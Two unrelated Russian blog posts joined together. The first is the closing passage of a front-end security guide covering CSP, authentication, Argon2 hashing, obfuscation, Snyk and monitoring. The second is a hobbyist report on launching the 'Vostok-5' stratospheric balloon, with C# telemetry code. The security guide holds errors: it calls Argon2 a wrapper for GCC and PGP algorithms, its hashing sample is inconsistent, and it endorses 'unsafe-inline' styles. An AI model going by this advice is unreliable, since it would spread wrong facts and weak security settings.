Что касается директивы `style-src`, то у нашего проекта есть особенность: мы используем styled-components, чтобы для каждого компонента прописывать CSS и изолировать их друг от друга. И поэтому надо обязательно указать, что у нас в `style-src` используются значения `unsafe-inline` и `self`, иначе styled-components отвалится.
Для тега `script` автоматически будут заданы атрибуты `nоnce-`, `integrity` и `cross-origin`. Они говорят браузеру о том, что ресурсы подтягиваются из достоверных источников. Иначе, если браузер увидит, что ресурс не соответствует CSP или CORS, то он просто не загрузит этот скрипт или CSS-файл, а в консоли напишет что-то вроде: *«Обрати внимание на этот скрипт, на вот эту строку, где ты инициализируешь его. Посмотри, у тебя что-то не так!»*.
В документации [MDN](https://developer.mozilla.org/), OWASP и [W3C](https://www.w3.org/) есть рекомендации по соблюдению политик CSP и CORS. Кроме того, любой инструментарий для тестирования на проникновение будет сообщать о соблюдении правил CORS и CSP в проекте. Любой фреймворк или инструмент, который будет проводить автоматическое тестирование проекта, укажет на недочёты.
Аутентификация пользователей
----------------------------
Мы используем OpenID Connect и протокол Kerberos. Довольно распространённый стандарт OpenID применяется для аутентификации внешних пользователей.
Kerberos больше подходит для внутренней сети, в банке он используется для автоматической аутентификации сотрудников. Допустим, есть локальная машина, на которой работает сотрудник организации. Он один раз аутентифицировался на этой машине, и потом ему уже нигде не нужно будет снова вводить логин и пароль: сотрудник заходит в любое приложение и система сразу его аутентифицирует. У Kerberos тонкие настройки для локальной машины, и это вызывает затруднения, потому что приходится настраивать для **каждого компьютера и каждого браузера.** Если Internet Explorer нормально подтягивает настройки по умолчанию, а Chrome подтягивает настройки IE, то Firefox приходится настраивать отдельно. Safari на MacOS X сам найдёт настройки, а для Safari на Windows нужно будет указать их вручную.
Надо проверять своё приложение во всех браузерах, везде ли оно работает как нужно. К примеру, если я работаю на Windows, то ставлю Safari локально и тестирую в нём свой проект, а если работаю на Mac, то поднимаю Windows на виртуальной машине, чтобы погонять приложение на соответствующих версиях браузеров.
Реализовать аутентификацию в современных приложениях можно с помощью пакетов Passport.js и express-session, а также SDK Auth0.
Если у вас нет возможности разработать сервис аутентификации через OpenID Connect или любой другой протокол, то используйте проксирующий слой, такой как Auth0 и ему подобные, чтобы аутентификация происходила через стороннюю компанию, которая специализируется на обеспечении безопасного доступа пользователей к интернет-ресурсам.
Когда мы поднимаем на Node.js какое-то приложение, то рекомендую использовать на сервере пакеты Passport.js, express-session и т.п. Для обеспечения безопасности на клиенте мы самостоятельно поднимаем компонент для аутентификации. В форме аутентификации не забывайте указывать атрибут autocomplete off, чтобы исключить автозаполнение полей формы.
Хэширование паролей
-------------------
На сайте OWASP рекомендуют не использовать встроенные в базы данных механизмы хеширования паролей. Для этого лучше применять такие пакеты, как Argon2, PBKDF2, ccrypt и bcrypt. В своей практике я использую Argon2 — это обёртка для алгоритмов GCC, PGP/GPG и т.п., но для него требуется сначала установить пакет GCC. Схема использования Argon2:
```
1. Установка GCC >= 4.8 install
$ brew install gcc
```
```
2. Установка библиотеки для обеспечения С-имплементаций
$ npm install -g node-gyp
```
```
3. Установка пакета Argon2
$ npm install argon2
```
```
4. Использование пакета
import * as ARGON from 'argon2';
ARGON.generateSalt().then( (salt: string) => {
ARGON.hash('some-user-password', salt)
.then((hash : string) => {
console.log('Successfully created Argon2 hash:', hash);
// TODO: store the hash in the user database
});
});
argon2.verify(
'previously-created-argon-hash-here',
'some-user-password').then(() => {
console.log('Successful password supplied!');
// TODO: log the user in
}).catch(() => {
console.log('Invalid password supplied!');
});
```
Обфускация
----------
Обфускация позволяет видоизменить код таким образом, чтобы его невозможно было разобрать на составляющие. Ведь злоумышленники — да и не только они — очень часто используют обратный инжиниринг: программист берёт какой-либо JS-файл и начинает анализировать исходники. Таким образом он может узнать используемые методы или разобраться в механизме работы того или иного скрипта, чтобы внедрить зловредный код. Или воспользоваться этими механизмами для взлома веб-приложения и проведения незаметной атаки.
Хакеры не лезут на рожон. Сначала они проводят разведку ресурса, определяют уязвимости и вектор атаки. Например, манипулируют с данными или используют уязвимости, которые содержатся в транспортных протоколах. Вектор атаки может быть направлен на уязвимости той или иной операционной системы, их очень много в любой UNIX-системе. Но уязвимости могут быть использованы только в том случае, если администратор плохо настроил политики безопасности, например, неправильно задал URL-ы, которые выходят наружу.
Так вот, для проведения разведки используется обратный инжиниринг. Полностью исключить его невозможно, но можно сильно затруднить. Для этого применяют различные обфускаторы, в моём случае — javascript-obfuscator. На его базе сделан плагин под webpack — webpack-obfuscator. Также для webpack создан obfuscator-loader. У этого пакета есть рекомендуемые настройки разного уровня параноидальности: low, medium и high, с ними можно ознакомиться на официальном сайте. Если вы используете этот обфускатор, то помните, что он очень плохо работает со встроенным в webpack механизмом минификации. Не используйте вместе минификацию и обфускацию, иначе обфускатор может полностью сломать код скрипта.
Кроме того, обфускатор увеличивает объем скрипта и его загрузку. Здесь нужно для себя решить: либо вы усиливаете безопасность, стабильность и надёжность, но теряете в удобстве и скорости; либо заботитесь о скорости, но забываете о безопасности, о следовании каким-либо руководствам.
Логирование и мониторинг угроз
------------------------------
Существует такая угроза, как использование пакетов с уже известными уязвимостями. В подобных ситуациях помогут анализаторы угроз, такие как npm audit, Snyk и LGTM. Npm audit — это стандартная утилита, которая встроена в npm, но придётся постоянно вызывать эту команду или придумывать костыли. Поэтому советую использовать Snyk. У этого проекта есть своя база данных с уязвимостями. Когда начинаешь проверку, Snyk обращается к этой базе и конфиденциально выгружает отчёт в ваш Snyk-проект, недоступный посторонним. Правда, бесплатно проверить свой проект можно только 300 раз, и когда делаешь проверку на каждый pre-commit, эти 300 бесплатных попыток очень быстро заканчиваются. Поэтому лучше запускать проверку на pre-push или pre-merge хуки.
Человек — самая главная уязвимость любой системы. Поэтому обязательно проверяйте проект до начала сборки приложения, ведь даже в исходном коде может содержаться что-то вредоносное. Хорошо, когда доступ к проекту имеет только один человек, но обычно мы работаем командами. А вдруг появился какой-то «доброжелатель», который решил уйти из компании «красиво» и оставить после себя след? Это тоже надо иметь в виду.
Использовать пакет Snyk я рекомендую с самого начала проекта, а проверку запускать из консоли. Тут всё просто: после установки задайте логин и пароль к учетной записи, а само тестирование можно выполнить так:
* После установки зависимости npm i snyk —D и указания в package.json «snyk»: true запустите:
```
./node_modules/.bin/snyk wizard --dev
```
* В package.json добавьте скрипты и настройки:
```
{
...
"scripts": {
...
"test": "npm run test:snyk && npm run test:jest",
...
"test:snyk": "snyk test --dev",
...
"prepare": "npm run prepare:snyk",
"prepare:snyk": "snyk protect"
},
"husky": {
"hooks": {
"commit-msg": "commitlint -E HUSKY_GIT_PARAMS",
"pre-commit": "npm run test:snyk && npm run lint && npm run test:jest",
"pre-push": [
"npm run test:snyk",
"npm run lint",
"npm run test:jest",
"npm run build:production"
],
...
}
},
"snyk": true
}
```
Выше мы рассмотрели локальную проверку на угрозы безопасности. Для проверки пакетов на известные угрозы рекомендую пользоваться еще и LGTM. Этот проект используйте в связке с GitHub или Bitbucket (пока не пробовал, не было необходимости), и код будет сразу проверяться при каждом пуше.
Мониторинг приложения
---------------------
В сфере Front-end'а инструментарий уже устоялся, для логирования и мониторинга клиентской части доступны инструменты на любой вкус. Самые известные — это Sentry, TrackJS и InsightOps. Сервер Sentry можно развернуть на своих физических серверах. К примеру, в двух наших проектах использовался отдельный сервер, полностью сконфигурированный под логирование работы приложений. Мы заходили по URL и скидывали туда все логи. Если в приложении возникает ошибка, то она обёртывается в блок try catch и через методы пакета raven отправляется на сервер Sentry. Всё просто и удобно. Если вы видите непонятные URL в Sentry, которые вы не прописывали, если видите внедрения или непонятные сообщения — значит, вас пытаются взломать. В моей практике такое встречалось регулярно. Например, одному из проектов — сервису по обходу блокировщиков рекламы и антивирусов — постоянно пытались противодействовать, взломать его.
Для мониторинга также рекомендую использовать Grafana. Важно продумать систему критериев и показателей, которые будут отслеживаться системой. Мы настраивали на трафик, на отдачу рекламы, на степень отрисовки рекламы, на количество баннеров, пришедших от Яндекса и т.п. (проекты в Rambler Group). Нам надо было понимать, как работает Яндекс с нашими запросами, потому что он является сторонним сервисом, а значит его надо мониторить, ведь если он откажет, то весь проект может полностью обрушиться.
Если будете мониторить всё общение со сторонними сервисами, тогда очень быстро найдёте любую ошибку. История из моей практики: мы увидели, что от Яндекса резко перестали приходить ответы по рекламе. Оказалось, что у них технические неисправности и наглухо легла вся рекламная сеть. И это не Яндекс нас проинформировал первым, а мы позвонили им и попросили посмотреть, что творится с их сервисами.
Как лучше всего мониторить? Возьмите какой-то маленький URL, пропишите GET-параметры и отправьте GET-запрос на этот URL. В серверной части обработайте этот URL, запишите лог в базу и поднимите мониторинг на Grafana. Всё просто.
На этом всё. В будущем я постараюсь продолжить писать на тему защиты web-приложений от угроз. Всем, кто дочитал до конца — желаю безопасности вашим проектам)))
### Список источников для чтения по теме:
[www.owasp.org/index.php/Main\_Page](https://www.owasp.org/index.php/Main_Page)
[tproger.ru/translations/webapp-security](https://tproger.ru/translations/webapp-security/)
[С. Ястребов. Even Faster Single Page Application: security](https://www.linkedin.com/pulse/even-faster-single-page-application-9security-sergei-iastrebov/)
Seacord, Robert C. The CERT C secure coding standard / Robert C. Seacord. — 2008
Chetan Karande. Securing Node Applications — 2017
Steven Palmer. Web Application Vulnerabilities Detect, Exploit, Prevent — 2011
Robert Shimonski, Sean-Philip Oriyano. Client-Side Attacks and Defense — 2012
Marcus Pinto, Dafydd Stuttard. The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws, 2nd Edition — 2011
Karl Duuna. Secure Your Node.js Web Application — 2015 | https://habr.com/ru/post/445932/ | null | ru | null |
# Самодельный стратостат. Сезон 2022. Vostok-5
Вот мы и вернулись! С "небольшим" опозданием, но нам есть чем оправдаться ;) В прошлом году мы строили и запускали самодельные стратостаты с целью привезти видео в 4k с высоты 30+ километров. В этом году мы, наконец-то, достигли всех поставленных целей и привезли бескомпромисный результат. Получилось опять "длинно", но я сокращал как мог. Будет много фоток, пару видео и даже гифки.
Вступление
----------
Так как я считаю, что "просветительскую" часть миссии мы закрыли в прошлом сезоне, опубликовав, фактически, пошаговую инструкцию по созданию таких зондов из ничего, то теперь я буду опускать большинство деталей. Это позволит не раздувать и без того не маленький текст, и сосредоточиться на более веселом — на видосах :) Тем более что теперь там точно есть на что посмотреть. Чуть подробней чем "никак" я опишу лишь критически важные для миссии места.
Если появятся вопросы, даже если ответы на них есть в других статьях (смотрите у меня [в профиле](https://habr.com/ru/users/v0stok86/)) — задавайте в коментариях. Я отвечаю на все и всё что знаю. Начнём.
Список оборудования и компонентов
---------------------------------
Буду краток:
* Новый поисковый трекер [Азимут IRIDIUM/GSM](https://www.decima.ru/video_audio/catalog/navigatsionnye_pribory/treker_navigatsionnyy_sputnikovyy_azimut_iridium_gsm/)
* Новая камера [Insta360 One X2](https://www.insta360.com/ru/product/insta360-onex2)
* LCD дисплей для отображения телеметрии [Waveshare 4.1inch Touch DSI](https://www.waveshare.com/4.3inch-dsi-lcd.htm)
Всё остальное — без изменений. Тот же RPI 4b с SenseHAT и GPS HAT, SPOT Trace (почему снова он — объясню ниже) и павербанки что и в прошлый раз. Теперь о каждом новом пункте немного подробней.
Трекер
------
Как вы могли заметить по списку оборудования, у нас кое-что добавилось в полезной нагрузке. А именно новый, автономный **поисковый** трекер! Это очень важный момент, на котором хотелось бы заострить внимание, так как это может быть полезно для ваших запусков (в своей первой статье про [Самодельный стратостат](https://habr.com/ru/post/555070/) я объяснил важность этого компонента).
Итак, наш любимый SPOT Trace, служивший нам верой и правдой весь прошлый сезон, начал немного хворать. Нет, он продолжал присылать координаты, но делать это стал как-то неуверенно и недолго. Батареи садились примерно за неделю (да, мы их меняли и не раз — не помогло). Это всё еще очень хороший показатель автономности и новый трекер его не перебивает. Но… захотелось подстраховаться. Таким образом мы выторговали на просторах интернета б\у трекер отечественного бренда — "[Азимут IRIDIUM/GSM](https://www.decima.ru/video_audio/catalog/navigatsionnye_pribory/treker_navigatsionnyy_sputnikovyy_azimut_iridium_gsm/)".
> Мы купили у официального поставщика именно б\у трекер, списанный и снятый с какого-то самолета. Он нам обошелся в 32500 рублей.
Он имеет на борту 2 канала связи для передачи координат: спутниковую сеть IRIDIUM и мобильную сеть GSM. GSM используется когда доступна, в противном случае переходит на спутник. Такое поведение нам очень нравится.
Проблема этого трекера в малой автономности. Заряда встроенного аккумулятора, согласно официальной инструкции, хватает на "десятки часов". Вроде достаточно, но сильно меньше чем у SPOT. С другой стороны, этот недостаток покрывается лучшим охватом и более уверенной связью IRIDIUM. Напомню, что автономность SPOT нас спасала в условиях плохого сигнала (использует спутниковую инфраструктуру Globalstar), когда трекер молчал **несколько дней** и только потом прорезался сигнал. Что ж, если с сетью все ок, то "десятков часов" нам хватает с запасом.
Тем не менее в этот запуск мы решили не рисковать *настолько* и **положили в коробку оба трекера** ¯\\_(ツ)/¯
Фото этого чуда и его комплектация:
Следить за его положением вы можете на сайте [flyrf.ru](https://flyrf.ru/). Вверху надо включить отображение АОН/БАС и в поиске ввести наш ID: **VSTK0160**
Должны увидеть что-то вроде:
В истории видно, каким каналом был отправлен трек (поле: Тип пакета):
Ну а дальше разберетесь по кнопкам.
> Небольшое отступление про возможности конфигурации этого устройства. Механика схожа со SPOT Trace: есть десктопная программа, ставите, конфигурируете. Это приложение предоставляет поставщик трекера, через него же (поставщика) идет оплата подписки. Напрямую Iridium (именно их сеть используется как канал передачи данных) платить нельзя — только через посредников (и это не нововведение — это всегда так было, насколько я знаю). На [странице поставщика](https://www.decima.ru/video_audio/catalog/navigatsionnye_pribory/treker_navigatsionnyy_sputnikovyy_azimut_iridium_gsm/) есть тарифная сетка. В опции конфигурации углубляться не буду, иначе этот текст никогда не закончится. Скажу лишь, что мы поставили интервал треков в 300 сек в состоянии движения и 3600 сек в покое. С целью экономии батареи.
Таким образом, у нас на борту появилось уже 3 приемника и 2 передатчика координат. Интерференция может насоздавать проблем в таком случае. В документации SPOT есть рекомендация: располагать трекер не ближе 30см от других приёмопередатчиков. Легко сказать, но как это сделать в малюсенькой коробке зонда?
Никак.
Можно конечно поиграться с проводами/выносными мачтами, привязать трекер к стропам/фалу и т.д., но не забываем про температуру и как к ней относятся элементы питания! Есть риск, что снаружи аккумуляторы замерзнут еще на подъеме. Да, они потом отмерзнут и возможно включатся снова. *Возможно*. Ситуация спорная, так что мы решили тупо протестить — включали трекеры рядом друг с другом, носили их по городу в одной сумке и т.п. Результаты нам понравились — оба трекера работали как обычно. Так что было принято решение все же разместить их внутри короба и обеспечить штатным обогревом.
Вот, как они расположились внутри короба:
Камера
------
Второе важное изменение — мы поменяли камеру. Прошлая GoPro 7 Black нас устраивала всем, кроме угла обзора. Очень хотелось посмотреть еще и на шар в полете. Мы даже разрабатывали вариант с 2-я камерами — одна на шар, вторая на горизонт. Но 2 камеры это двойной вес и двойное питание (что опять же — новая масса). Так что мы решили проблему кардинально — приобрели камеру с обзором 360 градусов! А конкретно [Insta360 One X2](https://www.insta360.com/ru/product/insta360-onex2). Да-да, теперь наши видосы можно смотреть в VR очках. Даже в таких [картонных](https://imcardboard.com/), я лично в таких и смотрю :) Эффект погружения — присутствует.
Теперь эту камеру надо как-то разместить на коробе. Так, чтобы не потерять в полете, чтобы она не перегрелась и чтобы ничто не мешало обзору.
Родился такой план:
Основание немного утоплено в пенопласт (из-за этого пришлось наложить второй слой крышки — чтобы не нарушать термоизоляцию внутренностей) и зафиксировано термоклеем. Основное пятно нагрева у этой камеры в зоне объективов, так что не перегреется. Прямой вид на горизонт, а так же на следующее дополнение нашей конструкции.
Дисплей
-------
Здесь я, в основном, затрону "железную" часть вопроса и зачем нам вообще понадобился дисплей.
Итак, если вы помните, в прошлом сезоне у нас было 2 источника телеметрии: RPI с GPS HAT + набор сенсоров и GoPro 7. Данные с GoPro позволяли нам легко синхронизировать видео с показаниями RPI (чтобы сделать наложение телеметрии на видео). Это было нам необходимо, так как камера не обладает всеми необходимыми нам датчиками (температур, давления и т.п.). В новой камере такой роскоши нет. Чтобы иметь в метаданных видео показания GPS — нужно использовать специальный отдельный модуль для этой камеры (ну и купить его, соответственно). Питание для этого модуля тоже нужно отдельное. Мда, тут на славу потрудился маркетолог. Нуштош...
Можно было пойти и по пути покупки этого модуля, но мы решили сделать чуть более надежно (и более популярно в среде запускателей подобных зондов) — добавить в кадр показания самого RPI (тем более что этот GPS Smart Remote для камеры имеет всем хорошо знакомое ограничение в 10км по высоте). Это все так же дополнительная масса и увеличенное энергопотребление, но добавлять новых батарей нам не потребовалось — питания подсистемы телеметрии хватало с запасом и на дисплей.
Плюсом мы исключали полностью необходимость синхронизации телеметрии и видео. А обзор камеры позволял внедрить следующий сценарий использования: в нужный момент останавливаем видео при просмотре и поворачиваем обзор на дисплей. С прошлой камерой такого бы "не прокатило".
Вот [этот дисплей](https://www.waveshare.com/4.3inch-dsi-lcd.htm) мы выбрали. Не очень большой, не очень маленький, с хорошей яркостью (как я тогда думал, но об этом посмотрите видео), подключается к порту DSI, не требует внешнего питания и есть тач. Зачем тач и почему он не пригодился, я расскажу в разделе про программирование.
> Забавный момент: в комплекте идет шлейф длиной 5см для подключения к RPI. При нашей компоновке этого маловато и мы решили купить что-то длиннее. Забавно тут то, что во всей стране именно эти 15pin FFC шлейфы занесены в красную книгу. Мы с большим трудом нашли последние 10 штук на складе одного магазина и забрали сразу все (цена за штуку там была что-то около 32р). Альтернатива — заказ из Китая. Там они есть, но долго ждать. В итоге у нас появилось десять 15-сантиметровых шлейфов. Должно хватить.
Корпус для него распечатали на 3D-принтере. Я до сих пор не уверен — было ли это хорошее решение, но наш конструктор настоял (основание — возможно долгое пребывание в неблагоприятной среде), а я не возразил. Как по мне, так можно было просто залить там все герметиком, ну да ладно.
Больше изменений "внутри" нет. Посмотрим, что поменялось снаружи.
Общая конструкция
-----------------
Основное отличие — мы заменили гелий на водород. Да, нас несколько раз убеждали, что это — ключ к успеху, хоть и не очень ясно к какому. Но кто мы такие, чтобы отказываться? Когда мне говорят что-то в интернете — я верю!
Из плюсов водорода перед гелием:
* он в 3 раза дешевле
* его надо в 2 раза меньше (мы закачали **половину** стандартного 40л баллона)
Из минусов:
* всем пришлось бросить курить
* его нельзя перевозить в салоне\багажнике авто — нашли газель
В остальном, принципиально ничего не изменилось аж с самого первого запуска. Так что за подробностями прошу в первую статью. Скажу лишь, что в этот раз мы снова использовали латексный шар L-2000 (масса 2000г). Заменили парашют на "побольше" и новый. А в остальном — все так же.
Софт
----
Без лишних деталей — [тот же репозиторий](https://github.com/ArtemKiyashko/RpiProbeLogger), тот же проект.
Пофиксили баг, обнаруженный в прошлый раз. Проявлялся он в том, что при потере сигнала GPS — мы теряли и все остальные данные. Звучит странно, но изначально логика была такова: время из GPS — наша точка синхронизации всех остальных данных. Без времени — мы не сможем понять за какой этап работы те или иные данные. Это было **ошибочное утверждение**. На самом деле время нам нужно лишь единожды — когда мы создаем файл лога (в качестве имени используется дата из GPS). Дальше данные собираются и пишутся раз в секунду по таймеру. Таймер — и есть наш источник синхронизации!
Ну а технически там просто была `NullReferenceException` при пустых данных GPS, которую я игнорировал, потому что потому (выше описал). Пофиксилось это всё простым `Nullable Check`:
Бонусом мы мигрировали все проекты на .NET 6 и дописали немного unit-тестов. И, видимо, мало дописали, т.к. при анализе телеметрии с этого запуска, мы обнаружили новый баг¯\\_(ツ)/¯
Теперь у нас при "перезапуске" GPS (а в этот раз это случалось часто) дублировался заголовок CSV. Что ж… Это не потеря данных, а лишь небольшой мусор, который легко убирается при анализе. Это мы обязательно пофиксим к следующему запуску.
Теперь о более масштабном. LCD дисплей помните? Он нам нужен был, чтобы избежать необходимости наложения телеметрии на видео в постобработке. Ок, давайте выводить на него телеметрию тогда.
В интернете мне сказали, что сейчас модно микросервисы. Вот вам микросервисы на минималках для RPI: проект по сбору телеметрии практически не подвергся изменениям, добавился новый проект `RpiProbeLogger.TerminalGui`, который суть есть — вывод данных в терминал.
Чтобы все это работало — надо эти две сущности как-то соединить. Отложите свои кафки обратно в стол — они нам не пригодятся. Для коммуникации была выбрана [ZeroMQ](https://zeromq.org/languages/csharp/). Основное отличие — отсутствие `Message Broker`-а. В данном случае, гарантированная доставка сообщений играет против нас. Дело в том, что дисплей должен отображать данные в реальном времени. Зачем нам очередь сообщений (из брокера), если эти "исторические" сообщения не будут отображать текущее состояние дел? Брокер хорошо, когда эти данные надо куда-то сохранить. А ZeroMQ отлично подходит для парадигмы **выстрелил и забыл**. К тому же, отсутствие брокера (что само по себе уже минус сущность) — делает этот метод гораздо более "легковесным".
Итак, ZeroMQ использует TCP порты для приёмопередачи (так что возможна коммуникация как внутри одного процесса, так и межпроцессная). У меня родился low-level интерфейс:
```
public interface IBusReporter
{
public Task Send(T model);
public void BindPort(uint port);
}
```
`BindPort` занимает нужный нам порт, а `Send` отправляет "что-то" в канал.
Вот полная реализация:
```
public class BusReporter : IBusReporter, IDisposable
{
private readonly PublisherSocket _publisherSocket;
public BusReporter(PublisherSocket publisherSocket) => _publisherSocket = publisherSocket;
public void BindPort(uint port) => _publisherSocket.Bind($"tcp://*:{port}");
public void Dispose() => _publisherSocket.Dispose();
public async Task Send(T model)
{
var jsonModel = JsonSerializer.Serialize(model);
var sendTask = Task.Run(() => SendMessage(jsonModel));
return await sendTask;
}
private bool SendMessage(string jsonModel) =>
\_publisherSocket
.TrySendFrame(TimeSpan.FromSeconds(1), jsonModel);
}
```
Да, библиотека `NetMQ` не содержит асинхронной версии `Send...`, так что обертки вам придется накрутить самим. Хотя это не единственный способ отправить что-то в канал, и в документации вы можете подыскать что-то более подходящее для ваших нужд. Нас устраивает и синхронный `TrySendFrame`.
Далее нам надо прикрутить эту отправку к текущей подсистеме сохранения данных в файл. И желательно не трогая эту самую подсистему. Первое, что пришло в голову, это нелюбимый мной паттерн "Декоратор". Декорировать, понятное дело, будем интерфейс `IReportService`. Появилась еще одна его реализация `TelemetryReporter`. Полный листинг приводить тут не буду (лучше посмотрите репозиторий), тут лишь интересующий нас больше всего метод:
```
public async Task WriteReport(SenseResponse senseResponse, GpsModuleResponse gpsModuleResponse, OutsideTemperatureResponse outsideTemperatureResponse)
{
var result = await \_decoratee.WriteReport(senseResponse, gpsModuleResponse, outsideTemperatureResponse);
if (!\_busPortReady) return result;
await SendTelemetry(result);
return result;
}
```
По классике: сначала вызываем декорируемую реализацию, потом пробуем отправить результат в ZeroMQ через `IBusReporter`.
Ну и теперь надо встроить этот декоратор в механизм разрешения зависимостей (заинжектить в DI):
```
private static void AddReportingServices(IServiceCollection services)
{
services.TryAddTransient();
services.TryAddTransient();
services.AddTransient();
services.AddTransient()
.Decorate();
services.AddSingleton();
services.AddTransient();
}
```
Единственное, что здесь изменилось — добавился вызов метода `Decorate`. Все! Теперь при запросе `IReportService` из DI — этот DI будет оборачивать реализацию в наш декоратор. Больше никаких изменений в этом проекте можно не делать.
> .NET в любой версии не содержит метода расширения `Decorate` (и очень похоже, что никогда и не будет содержать). Этот метод из известной библиотеки `Scrutor`
*Можно* не делать, но я еще немного сделал для понижения у себя уровня стресса — добавил кастомный `ILogger` утилизирующий ZeroMQ, но на отличном от `TelemetryReporter` порту. Я подумал: ну а чо, пусть еще и ошибки на дисплей выводит? Реализация `ILogger` позволила мне добавить эту функциональность не трогая бизнес-логику (логгер то там так и так используется).
```
public class BusLogger : ILogger
{
private readonly IBusReporter _busReporter;
public BusLogger(IBusReporter busReporter) => _busReporter = busReporter;
public IDisposable BeginScope(TState state) => default;
public bool IsEnabled(LogLevel logLevel) => true;
public void Log(LogLevel logLevel, EventId eventId, TState state, Exception exception, Func formatter)
{
if (!IsEnabled(logLevel)) return;
try
{
\_busReporter.Send(
new LogEntry(
logLevel,
formatter(state, exception),
exception?.Message,
exception?.StackTrace))
.GetAwaiter().GetResult();
}
catch { }
}
}
```
Полная реализация экосистемы логгеров в дотнете требует еще пары верхнеуровневых имплементаций, но тут я их приводить не буду. Если будете гуглить, то в любом случае на них нарветесь. Ну или посмотрите в моем репозитории.
> ZeroMQ поддерживает "топики", но имя топика это фактически часть сообщения на том же порту, просто в отдельном кадре. Это может создавать состояние гонки (race condition) при чтении. Так что я решил просто разделить по портам телеметрию и логи, и не использовать топики совсем.
Хорошо, отправлять мы отправляем. Теперь давайте получим. Это еще проще (прыгаем в проект `RpiProbeLogger.TerminalGui`):
```
public abstract class BaseReceiver where T : struct
{
protected readonly IDirector \_director;
protected readonly SubscriberSocket \_subscriber = new();
protected BaseReceiver(IDirector director)
{
\_director = director;
}
protected virtual void ReceiverLoop()
{
while (true)
{
var msg = \_subscriber.ReceiveFrameString();
T model = JsonSerializer.Deserialize(msg);
\_director.Refresh(model);
}
}
}
```
Базовый класс "получателя". Просто в бесконечном цикле ждем сообщения из канала. Т.к. канала у нас 2 (логи и телеметрия), то и наследника у этого класса 2: `TelemetryReceiverHostedService` и `LogsReceiverHostedService`. Как можно догадаться, эти классы так же реализуют `IHostedService` и работают параллельно в экосистеме `IHost`. Вот весь `Program.cs` этого проекта:
```
class Program
{
private static IHost _host;
private static IConfiguration Configuration;
static void Main(string[] args)
{
_host = new HostBuilder()
.ConfigureAppConfiguration((context, builder) => {
builder.AddJsonFile("settings.json", true);
builder.AddEnvironmentVariables();
Configuration = builder.Build();
})
.ConfigureServices((hostContext, services) =>
{
services.AddHostedService();
services.AddHostedService();
services.AddSingleton, TelemetryDirector>();
services.AddSingleton, LogDirector>();
services.AddSingleton(provider => provider.GetService());
services.AddSingleton();
services.AddSingleton(provider => provider.GetService());
services.AddSingleton();
services.Configure(Configuration.GetSection("TelemetryReceiverSettings"));
services.Configure(Configuration.GetSection("LogsReceiverSettings"));
services.AddSingleton();
})
.Build();
var telemetryDirector = \_host.Services.GetRequiredService>();
var logDirector = \_host.Services.GetRequiredService>();
telemetryDirector.OnRefresh += UiRefresh;
logDirector.OnRefresh += UiRefresh;
Application.Init();
Application.Run(\_host.Services.GetRequiredService());
}
private static void UiRefresh(object? sender, EventArgs e) => Application.DoEvents();
}
```
Хорошо, данные мы получили. Давайте теперь их красиво выводить в терминал. Вы уже могли заметить выше какие-то `MainWindow`, `View`, etc. Это результат использования библиотеки [Gui.cs](https://github.com/migueldeicaza/gui.cs). Она хорошо справляется с рисованием вьюшек в консоли, а так же умеет обрабатывать пользовательский ввод (мышка, клавиатура).
> Единственная неприятность, которая у меня возникла — именно на RPI эта библиотека не обрабатывает события мыши. Я даже завел авторам Issue на гитхабе, где, после недолгих разбирательств, пометили это как баг.
>
> Я, разумеется, не планировал таскать мышку к зонду, но помните — у дисплея есть тач? План был таков: в случае обнаружения оперативной командой каких-то "не тех" данных на экране телеметрии — они пальцем тыкают на вкладку с логами и говорят мне что там. Но… не срослось и я просто забил на эту фичу, посоветовав ребятам прихватить с собой в поле usb-клавиатуру (стрелками можно переключать вкладки).
Библиотека содержит демо-проект и очень хорошо документирована, так что я не буду тут приводить свои куски кода. Просто покажу, что получилось:
Если кратко: есть корневой уровень — Application.Top. Это должен быть наследник `TopLevel` (мой MainWindow), которому в зависимостях передается коллекция `View` (Telemetry и Logs). MainWindow создает `TabView` и добавляет табы из этой коллекции. Ладно, 1 кусок приведу (а то объясняю как питекантроп):
```
public MainWindow(IHost host, IEnumerable views) : base()
{
\_host = host;
Loaded += MainWindow\_Loaded;
Closing += MainWindow\_Closing;
foreach (var view in views)
\_tabView.AddTab(new TabView.Tab(view.Id?.ToString(), view), false);
\_tabView.SelectedTab = \_tabView.Tabs.First();
Add(\_tabView);
}
```
Следую заповедям IoC, каждая `View` сама отвечает за свое содержимое: рисует нужные элементы, получает данные, обновляет (из того же `BaseReceiver`) их и т.д.
Пожалуй остановимся на этом. Если есть вопросы — давайте в комменты или в репу (。\_。)
CI/CD
-----
Вы когда-нибудь деплоили что-то через связку TeamViewer + SSH? Я — да. И мне не понравилось. В первых версиях я использовал PowerShell-скрипт с использованием `sftp` и еще каких-то велосипедов и это все работало приемлемо до тех пор, пока целевой RPI находился в моей сети. С течением времени меня и этот RPI разнесло на тысячи километров, а дома у меня появился другой RPI (для домашних нужд), который сыграл роль тестового окружения.
А раз такие пляски, то давайте быстренько накидаем пайплайны для какой-нибудь CI\CD платформы с двумя окружениями: тест (`Home`) и прод (`Vostok`). Я конечно возьму **Azure DevOps**, лишь потому, что он мне ближе по роду деятельности. Это не играет принципиальной роли. Это будет сборка и доставка с использованием агентов, так как безагентная доставка усложняется конфигурацией сети целевого RPI — он не имеет статичного и\или белого IP и он скрыт за всякими NAT-ами, да и вообще не имеет статичной конфигурации (сеть постоянно меняется). Соответственно, агент нам нужен на "той" стороне.
Для начала вам надо создать окружения (Home и Vostok), скачать и установить агента под ARM архитектуру. Идем в `Pipelines -> Environments -> New Environment`. Тип окружения: `Virtual Machine`. Тут он вам предложит выбрать тип операционной системы, лишь для того, чтобы сгенерировать скрипт для установки агента. Он вам не нужен, потому что при выборе Linux — он генерит ссылку на x86-64 агента. А у нас ARM.
Так что просто создайте окружение и идите сразу в `Project Settings -> Agent Pools -> Default -> New Agent`. Тут уже можно явно выбрать ARM-агента:
> Этот шаг нужен, только чтобы получить ссылку на нужный архив с агентом, на самом деле ссылку вы можете найти и на MSDN, но тут мне показалось проще.
Скачать агента на RPI вы можете просто `wget`-ом. Далее выполните шаги, указанные в окне добавления агента и всё. Повторите для всех ваших окружений. На этом шаге проблем возникнуть не должно.
Проблема возникнет с "бесплатностью" этой затеи. Дело в том, что раньше Microsoft раздавали по 10 бесплатных parallel jobs по умолчанию. С каких-то пор этот аттракцион прикрыли и их стало… "0" ¯\\_(ツ)/¯
Даже для публичных проектов.
